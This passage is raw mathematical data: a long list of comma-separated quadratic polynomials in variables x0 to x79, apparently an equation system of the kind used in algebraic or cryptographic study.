x37*x73 + x37*x78 + x38*x41 + x38*x43 + x38*x45 + x38*x54 + x38*x57 + x38*x58 + x38*x62 + x38*x63 + x38*x67 + x38*x68 + x38*x70 + x38*x73 + x38*x74 + x38*x76 + x39*x41 + x39*x42 + x39*x43 + x39*x44 + x39*x45 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x52 + x39*x53 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x61 + x39*x62 + x39*x63 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x71 + x39*x72 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x39 + x40*x41 + x40*x44 + x40*x45 + x40*x48 + x40*x53 + x40*x54 + x40*x55 + x40*x57 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x76 + x40*x77 + x40*x79 + x40 + x41*x43 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x49 + x41*x53 + x41*x56 + x41*x58 + x41*x60 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x68 + x41*x69 + x41*x70 + x41*x73 + x41*x76 + x41*x78 + x42*x43 + x42*x44 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x54 + x42*x58 + x42*x61 + x42*x64 + x42*x66 + x42*x67 + x42*x69 + x42*x70 + x42*x72 + x42*x73 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x47 + x43*x48 + x43*x49 + x43*x52 + x43*x54 + x43*x62 + x43*x63 + x43*x65 + x43*x66 + x43*x67 + x43*x69 + x43*x70 + x43*x74 + x43*x75 + x43*x77 + x44*x46 + x44*x51 + x44*x53 + x44*x54 + x44*x64 + x44*x67 + x44*x68 + x44*x71 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x78 + x44 + x45*x48 + x45*x51 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x59 + x45*x64 + x45*x65 + x45*x67 + x45*x69 + x45*x70 + x45*x73 + x45*x74 + x45*x79 + x46*x48 + x46*x53 + x46*x54 + x46*x59 + x46*x61 + x46*x63 + x46*x67 + x46*x70 + x46*x73 + x46*x74 + x46*x76 + x46*x78 + x46 + x47*x48 + x47*x50 + x47*x53 + x47*x55 + x47*x57 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x63 + x47*x68 + x47*x69 + x47*x70 + x47*x73 + x47*x74 + x47*x76 + x48*x49 + x48*x52 + x48*x53 + x48*x54 + x48*x57 + x48*x58 + x48*x61 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x71 + x49*x50 + x49*x51 + x49*x53 + x49*x55 + x49*x56 + x49*x59 + x49*x60 + x49*x61 + x49*x63 + x49*x64 + x49*x65 + x49*x68 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49*x78 + x49 + x50*x51 + x50*x55 + x50*x56 + x50*x59 + x50*x61 + x50*x62 + x50*x68 + x50*x69 + x50*x70 + x50*x73 + x50*x75 + x50*x79 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x58 + x51*x60 + x51*x61 + x51*x62 + x51*x64 + x51*x65 + x51*x66 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x51*x78 + x51 + x52*x53 + x52*x56 + x52*x57 + x52*x59 + x52*x61 + x52*x63 + x52*x65 + x52*x66 + x52*x68 + x52*x69 + x52*x70 + x52*x71 + x52*x74 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52 + x53*x58 + x53*x61 + x53*x63 + x53*x65 + x53*x67 + x53*x69 + x53*x76 + x53*x78 + x53*x79 + x53 + x54*x56 + x54*x60 + x54*x61 + x54*x69 + x54*x70 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x55*x56 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x74 + x55*x75 + x56*x61 + x56*x63 + x56*x65 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56*x76 + x56*x77 + x57*x58 + x57*x61 + x57*x62 + x57*x63 + x57*x65 + x57*x69 + x57*x70 + x57*x71 + x57*x73 + x57*x74 + x57*x75 + x57*x79 + x58*x60 + x58*x61 + x58*x62 + x58*x64 + x58*x66 + x58*x67 + x58*x69 + x58*x70 + x58*x77 + x58*x78 + x58 + x59*x62 + x59*x65 + x59*x68 + x59*x72 + x59*x77 + x59*x79 + x60*x66 + x60*x68 + x60*x69 + x60*x70 + x60*x71 + x60*x72 + x60*x74 + x60*x76 + x60*x77 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x65 + x61*x70 + x61*x73 + x61*x74 + x61*x75 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x71 + x62*x72 + x62*x73 + x62*x76 + x62*x77 + x62*x79 + x63*x64 + x63*x65 + x63*x66 + x63*x68 + x63*x71 + x63*x72 + x63*x73 + x63 + x64*x65 + x64*x67 + x64*x68 + x64*x70 + x64*x72 + x64*x73 + x64*x75 + x64*x76 + x64*x77 + x64*x79 + x65*x66 + x65*x67 + x65*x68 + x65*x69 + x65*x72 + x65*x73 + x65*x76 + x65*x77 + x66*x67 + x66*x69 + x66*x70 + x66*x73 + x66*x77 + x66*x79 + x67*x68 + x67*x69 + x67*x71 + x67*x72 + x67*x76 + x67*x78 + x67 + x68*x69 + x68*x71 + x68*x72 + x68*x75 + x68*x77 + x69*x70 + x69*x71 + x69*x75 + x69*x76 + x69*x77 + x69 + x70*x72 + x70*x73 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x70 + x71*x73 + x71*x76 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72 + x73*x74 + x73*x77 + x73*x79 + x74*x75 + x74*x76 + x74*x78 + x75*x78 + x75 + x76*x78 + x76*x79 + x77 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x8 + x0*x9 + x0*x10 + x0*x16 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x35 + x0*x38 + x0*x41 + x0*x42 + x0*x44 + x0*x48 + x0*x49 + x0*x51 + x0*x54 + x0*x56 + x0*x58 + x0*x62 + x0*x63 + x0*x64 + x0*x68 + x0*x70 + x0*x71 + x0*x74 + x0*x76 + x0*x77 + x0*x78 + x0 + x1*x2 + x1*x4 + x1*x7 + x1*x10 + x1*x11 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x16 + x1*x19 + x1*x20 + x1*x21 + x1*x23 + x1*x24 + x1*x26 + x1*x27 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x46 + x1*x47 + x1*x55 + x1*x58 + x1*x60 + x1*x62 + x1*x64 + x1*x66 + x1*x68 + x1*x73 + x1*x76 + x1*x77 + x1*x78 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x11 + x2*x19 + x2*x21 + x2*x24 + x2*x25 + x2*x26 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x36 + x2*x37 + x2*x38 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x53 + x2*x57 + x2*x61 + x2*x62 + x2*x66 + x2*x69 + x2*x73 + x2*x74 + x2*x76 + x2*x78 + x3*x6 + x3*x7 + x3*x8 + x3*x12 + x3*x14 + x3*x15 + x3*x17 + x3*x19 + x3*x20 + x3*x22 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x31 + x3*x36 + x3*x39 + x3*x44 + x3*x48 + x3*x51 + x3*x52 + x3*x53 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x63 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x74 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x24 + x4*x26 + x4*x28 + x4*x30 + x4*x32 + x4*x35 + x4*x36 + x4*x38 + x4*x39 + x4*x41 + x4*x44 + x4*x46 + x4*x50 + x4*x51 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x59 + x4*x61 + x4*x63 + x4*x65 + x4*x66 + x4*x67 + x4*x74 + x5*x6 + x5*x16 + x5*x19 + x5*x21 + x5*x22 + x5*x24 + x5*x26 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x35 + x5*x37 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x53 + x5*x57 + x5*x58 + x5*x59 + x5*x61 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x70 + x5*x71 + x5*x74 + x5*x75 + x5*x76 + x5*x78 + x6*x11 + x6*x12 + x6*x13 + x6*x15 + x6*x19 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x28 + x6*x30 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x39 + x6*x40 + x6*x42 + x6*x43 + x6*x48 + x6*x49 + x6*x52 + x6*x53 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x62 + x6*x67 + x6*x69 + x6*x71 + x6*x73 + x6*x74 + x6*x76 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x15 + x7*x16 + x7*x17 + x7*x20 + x7*x28 + x7*x29 + x7*x31 + x7*x32 + x7*x34 + x7*x35 + x7*x37 + x7*x39 + x7*x44 + x7*x45 + x7*x46 + x7*x48 + x7*x50 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x63 + x7*x65 + x7*x69 + x7*x71 + x7*x74 + x7*x77 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x13 + x8*x14 + x8*x16 + x8*x18 + x8*x19 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x29 + x8*x36 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x45 + x8*x46 + x8*x50 + x8*x51 + x8*x52 + x8*x54 + x8*x57 + x8*x60 + x8*x61 + x8*x63 + x8*x66 + x8*x67 + x8*x71 + x8*x74 + x8*x77 + x9*x13 + x9*x15 + x9*x17 + x9*x21 + x9*x27 + x9*x28 + x9*x30 + x9*x32 + x9*x33 + x9*x38 + x9*x40 + x9*x43 + x9*x44 + x9*x45 + x9*x48 + x9*x49 + x9*x52 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x63 + x9*x64 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x71 + x9*x73 + x9*x75 + x9*x78 + x9*x79 + x10*x11 + x10*x12 + x10*x14 + x10*x15 + x10*x19 + x10*x21 + x10*x22 + x10*x27 + x10*x29 + x10*x32 + x10*x33 + x10*x34 + x10*x36 + x10*x38 + x10*x40 + x10*x41 + x10*x43 + x10*x44 + x10*x45 + x10*x47 + x10*x48 + x10*x51 + x10*x52 + x10*x55 + x10*x56 + x10*x59 + x10*x63 + x10*x66 + x10*x67 + x10*x68 + x10*x72 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x10*x78 + x10*x79 + x10 + x11*x13 + x11*x15 + x11*x16 + x11*x17 + x11*x18 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x27 + x11*x30 + x11*x34 + x11*x37 + x11*x38 + x11*x40 + x11*x42 + x11*x43 + x11*x45 + x11*x46 + x11*x47 + x11*x52 + x11*x53 + x11*x57 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x72 + x11*x76 + x11*x78 + x11 + x12*x13 + x12*x24 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x34 + x12*x36 + x12*x38 + x12*x39 + x12*x42 + x12*x44 + x12*x45 + x12*x46 + x12*x55 + x12*x58 + x12*x59 + x12*x60 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x74 + x12*x75 + x12*x76 + x12*x79 + x12 + x13*x15 + x13*x17 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x25 + x13*x27 + x13*x28 + x13*x29 + x13*x31 + x13*x33 + x13*x34 + x13*x35 + x13*x37 + x13*x40 + x13*x41 + x13*x42 + x13*x46 + x13*x52 + x13*x53 + x13*x54 + x13*x57 + x13*x58 + x13*x63 + x13*x64 + x13*x66 + x13*x70 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x78 + x13 + x14*x15 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x23 + x14*x24 + x14*x26 + x14*x28 + x14*x29 + x14*x30 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x41 + x14*x42 + x14*x46 + x14*x48 + x14*x49 + x14*x51 + x14*x54 + x14*x57 + x14*x59 + x14*x61 + x14*x63 + x14*x64 + x14*x66 + x14*x68 + x14*x69 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x22 + x15*x25 + x15*x28 + x15*x29 + x15*x30 + x15*x31 + x15*x32 + x15*x35 + x15*x42 + x15*x43 + x15*x44 + x15*x46 + x15*x50 + x15*x52 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x62 + x15*x63 + x15*x67 + x15*x68 + x15*x72 + x15*x73 + x15*x75 + x15*x76 + x15*x77 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x23 + x16*x25 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x36 + x16*x39 + x16*x48 + x16*x49 + x16*x51 + x16*x52 + x16*x56 + x16*x60 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x72 + x16*x75 + x16*x76 + x16*x78 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x27 + x17*x28 + x17*x29 + x17*x32 + x17*x33 + x17*x37 + x17*x38 + x17*x41 + x17*x42 + x17*x43 + x17*x46 + x17*x48 + x17*x49 + x17*x51 + x17*x53 + x17*x55 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x67 + x17*x72 + x17*x75 + x17*x79 + x17 + x18*x19 + x18*x21 + x18*x23 + x18*x24 + x18*x27 + x18*x28 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x38 + x18*x40 + x18*x42 + x18*x45 + x18*x47 + x18*x48 + x18*x51 + x18*x52 + x18*x56 + x18*x57 + x18*x58 + x18*x61 + x18*x62 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x72 + x18*x74 + x18*x78 + x19*x21 + x19*x22 + x19*x23 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x47 + x19*x48 + x19*x51 + x19*x52 + x19*x54 + x19*x56 + x19*x57 + x19*x60 + x19*x61 + x19*x63 + x19*x64 + x19*x67 + x19*x68 + x19*x73 + x19*x75 + x19*x76 + x19*x78 + x19*x79 + x20*x23 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x35 + x20*x36 + x20*x38 + x20*x41 + x20*x43 + x20*x44 + x20*x46 + x20*x48 + x20*x50 + x20*x52 + x20*x56 + x20*x57 + x20*x62 + x20*x63 + x20*x64 + x20*x67 + x20*x68 + x20*x71 + x20*x72 + x20*x73 + x20*x77 + x20*x79 + x20 + x21*x22 + x21*x23 + x21*x30 + x21*x33 + x21*x34 + x21*x35 + x21*x37 + x21*x42 + x21*x44 + x21*x45 + x21*x51 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x63 + x21*x68 + x21*x71 + x21*x74 + x21*x75 + x21*x78 + x21 + x22*x24 + x22*x26 + x22*x28 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x37 + x22*x39 + x22*x41 + x22*x42 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x52 + x22*x58 + x22*x60 + x22*x64 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x30 + x23*x31 + x23*x33 + x23*x35 + x23*x37 + x23*x39 + x23*x42 + x23*x46 + x23*x49 + x23*x50 + x23*x53 + x23*x56 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x68 + x23*x71 + x23*x72 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x78 + x24*x26 + x24*x28 + x24*x31 + x24*x32 + x24*x39 + x24*x40 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x48 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x62 + x24*x64 + x24*x65 + x24*x66 + x24*x67 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x29 + x25*x32 + x25*x35 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x43 + x25*x44 + x25*x47 + x25*x49 + x25*x52 + x25*x56 + x25*x57 + x25*x62 + x25*x63 + x25*x65 + x25*x69 + x25*x71 + x25*x75 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x30 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x44 + x26*x46 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x54 + x26*x55 + x26*x57 + x26*x60 + x26*x61 + x26*x62 + x26*x64 + x26*x73 + x26*x74 + x26*x76 + x26*x77 + x26 + x27*x28 + x27*x29 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x40 + x27*x43 + x27*x47 + x27*x48 + x27*x49 + x27*x53 + x27*x54 + x27*x57 + x27*x60 + x27*x61 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x75 + x27*x76 + x27 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x35 + x28*x37 + x28*x39 + x28*x40 + x28*x44 + x28*x46 + x28*x47 + x28*x54 + x28*x55 + x28*x62 + x28*x64 + x28*x65 + x28*x66 + x28*x67 + x28*x69 + x28*x72 + x28*x73 + x28*x79 + x29*x30 + x29*x33 + x29*x36 + x29*x40 + x29*x43 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x55 + x29*x57 + x29*x58 + x29*x61 + x29*x62 + x29*x64 + x29*x65 + x29*x67 + x29*x69 + x29*x70 + x29*x72 + x29*x73 + x29*x75 + x29*x76 + x29*x77 + x29*x79 + x30*x32 + x30*x34 + x30*x35 + x30*x37 + x30*x38 + x30*x39 + x30*x41 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x65 + x30*x67 + x30*x71 + x30*x72 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x36 + x31*x38 + x31*x39 + x31*x40 + x31*x42 + x31*x43 + x31*x44 + x31*x52 + x31*x53 + x31*x54 + x31*x60 + x31*x61 + x31*x64 + x31*x68 + x31*x72 + x31*x75 + x31*x76 + x31*x79 + x31 + x32*x33 + x32*x35 + x32*x38 + x32*x41 + x32*x48 + x32*x49 + x32*x51 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x62 + x32*x63 + x32*x64 + x32*x66 + x32*x68 + x32*x69 + x32*x71 + x32*x72 + x32*x77 + x32*x79 + x33*x34 + x33*x36 + x33*x39 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x51 + x33*x52 + x33*x55 + x33*x59 + x33*x61 + x33*x63 + x33*x65 + x33*x69 + x33*x70 + x33*x71 + x33*x73 + x33*x74 + x33*x77 + x33*x78 + x33 + x34*x36 + x34*x39 + x34*x40 + x34*x43 + x34*x46 + x34*x47 + x34*x50 + x34*x52 + x34*x53 + x34*x58 + x34*x60 + x34*x65 + x34*x67 + x34*x74 + x34*x75 + x34*x76 + x34*x78 + x34*x79 + x35*x36 + x35*x39 + x35*x41 + x35*x42 + x35*x43 + x35*x46 + x35*x49 + x35*x52 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x61 + x35*x63 + x35*x65 + x35*x68 + x35*x75 + x35*x76 + x35*x78 + x35*x79 + x35 + x36*x37 + x36*x38 + x36*x41 + x36*x43 + x36*x44 + x36*x46 + x36*x52 + x36*x53 + x36*x57 + x36*x58 + x36*x61 + x36*x62 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x68 + x36*x70 + x36*x72 + x36*x73 + x36*x77 + x36*x78 + x36 + x37*x38 + x37*x39 + x37*x40 + x37*x42 + x37*x44 + x37*x47 + x37*x48 + x37*x49 + x37*x51 + x37*x54 + x37*x56 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x74 + x37*x75 + x37*x79 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x46 + x38*x47 + x38*x48 + x38*x51 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x64 + x38*x67 + x38*x68 + x38*x70 + x38*x73 + x38*x74 + x38*x77 + x39*x42 + x39*x43 + x39*x44 + x39*x45 + x39*x52 + x39*x54 + x39*x56 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x73 + x39*x74 + x39*x76 + x39*x77 + x40*x41 + x40*x48 + x40*x50 + x40*x51 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x62 + x40*x63 + x40*x65 + x40*x68 + x40*x74 + x40*x77 + x40 + x41*x42 + x41*x47 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x63 + x41*x65 + x41*x67 + x41*x68 + x41*x69 + x41*x71 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x47 + x42*x48 + x42*x52 + x42*x54 + x42*x56 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x47 + x43*x48 + x43*x55 + x43*x59 + x43*x60 + x43*x62 + x43*x68 + x43*x70 + x43*x72 + x43*x74 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x52 + x44*x55 + x44*x56 + x44*x57 + x44*x60 + x44*x63 + x44*x66 + x44*x70 + x44*x71 + x44*x72 + x44*x76 + x44*x77 + x44*x78 + x44*x79 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x55 + x45*x60 + x45*x62 + x45*x67 + x45*x68 + x45*x73 + x45*x74 + x45*x75 + x45*x79 + x46*x50 + x46*x52 + x46*x53 + x46*x57 + x46*x58 + x46*x59 + x46*x62 + x46*x63 + x46*x65 + x46*x68 + x46*x69 + x46*x72 + x46*x74 + x46*x77 + x46 + x47*x51 + x47*x52 + x47*x54 + x47*x57 + x47*x59 + x47*x60 + x47*x62 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x73 + x47*x75 + x47*x79 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x54 + x48*x59 + x48*x60 + x48*x62 + x48*x63 + x48*x64 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x76 + x48*x77 + x48*x78 + x48 + x49*x51 + x49*x52 + x49*x55 + x49*x61 + x49*x63 + x49*x67 + x49*x68 + x49*x72 + x49*x75 + x49*x78 + x49*x79 + x49 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x66 + x50*x68 + x50*x72 + x50*x73 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50 + x51*x53 + x51*x56 + x51*x58 + x51*x60 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x75 + x51*x76 + x51*x77 + x51*x79 + x51 + x52*x55 + x52*x57 + x52*x58 + x52*x61 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x70 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52*x78 + x53*x57 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x67 + x53*x68 + x53*x70 + x53*x73 + x53*x78 + x53*x79 + x53 + x54*x56 + x54*x57 + x54*x58 + x54*x62 + x54*x63 + x54*x65 + x54*x66 + x54*x70 + x54*x72 + x54*x73 + x54*x74 + x54*x79 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x67 + x55*x71 + x55*x73 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x56*x58 + x56*x60 + x56*x61 + x56*x62 + x56*x66 + x56*x70 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x67 + x57*x69 + x57*x73 + x57*x77 + x57*x78 + x58*x59 + x58*x60 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x67 + x58*x73 + x58*x75 + x58*x78 + x59*x61 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x70 + x59*x71 + x59*x72 + x59*x75 + x59*x76 + x59*x77 + x59 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x71 + x60*x72 + x60*x78 + x61*x64 + x61*x67 + x61*x68 + x61*x71 + x61*x76 + x61*x77 + x61 + x62*x63 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x75 + x62*x77 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x69 + x63*x73 + x63*x75 + x63*x77 + x63*x78 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64 + x65*x66 + x65*x68 + x65*x74 + x65*x77 + x65*x79 + x66*x67 + x66*x69 + x66*x75 + x66*x78 + x66*x79 + x67*x68 + x67*x72 + x67*x75 + x68*x69 + x68*x71 + x68*x72 + x68*x74 + x68*x75 + x68*x76 + x68*x77 + x68*x79 + x68 + x69*x70 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x76 + x69 + x70*x71 + x70*x72 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x72*x74 + x72*x79 + x73*x74 + x73*x76 + x74*x76 + x74 + x75*x77 + x75*x79 + x77*x79 + 1, x0*x4 + x0*x5 + x0*x9 + x0*x12 + x0*x14 + x0*x18 + x0*x19 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x32 + x0*x36 + x0*x38 + x0*x40 + x0*x43 + x0*x45 + x0*x48 + x0*x50 + x0*x52 + x0*x56 + x0*x57 + x0*x58 + x0*x63 + x0*x65 + x0*x68 + x0*x71 + x0*x72 + x0*x75 + x0*x77 + x0*x78 + x0 + x1*x2 + x1*x6 + x1*x8 + x1*x9 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x23 + x1*x26 + x1*x28 + x1*x29 + x1*x31 + x1*x33 + x1*x36 + x1*x38 + x1*x40 + x1*x42 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x57 + x1*x64 + x1*x67 + x1*x68 + x1*x71 + x1*x74 + x1*x75 + x1*x78 + x2*x3 + x2*x5 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x19 + x2*x22 + x2*x23 + x2*x26 + x2*x27 + x2*x29 + x2*x30 + x2*x31 + x2*x33 + x2*x34 + x2*x38 + x2*x39 + x2*x42 + x2*x44 + x2*x45 + x2*x47 + x2*x53 + x2*x55 + x2*x58 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x74 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x6 + x3*x8 + x3*x10 + x3*x11 + x3*x15 + x3*x21 + x3*x22 + x3*x24 + x3*x31 + x3*x32 + x3*x34 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x41 + x3*x45 + x3*x50 + x3*x51 + x3*x52 + x3*x55 + x3*x56 + x3*x58 + x3*x61 + x3*x62 + x3*x63 + x3*x64 + x3*x65 + x3*x67 + x3*x71 + x3*x72 + x3*x74 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x7 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x18 + x4*x20 + x4*x21 + x4*x22 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x33 + x4*x36 + x4*x38 + x4*x39 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x48 + x4*x50 + x4*x55 + x4*x57 + x4*x59 + x4*x60 + x4*x62 + 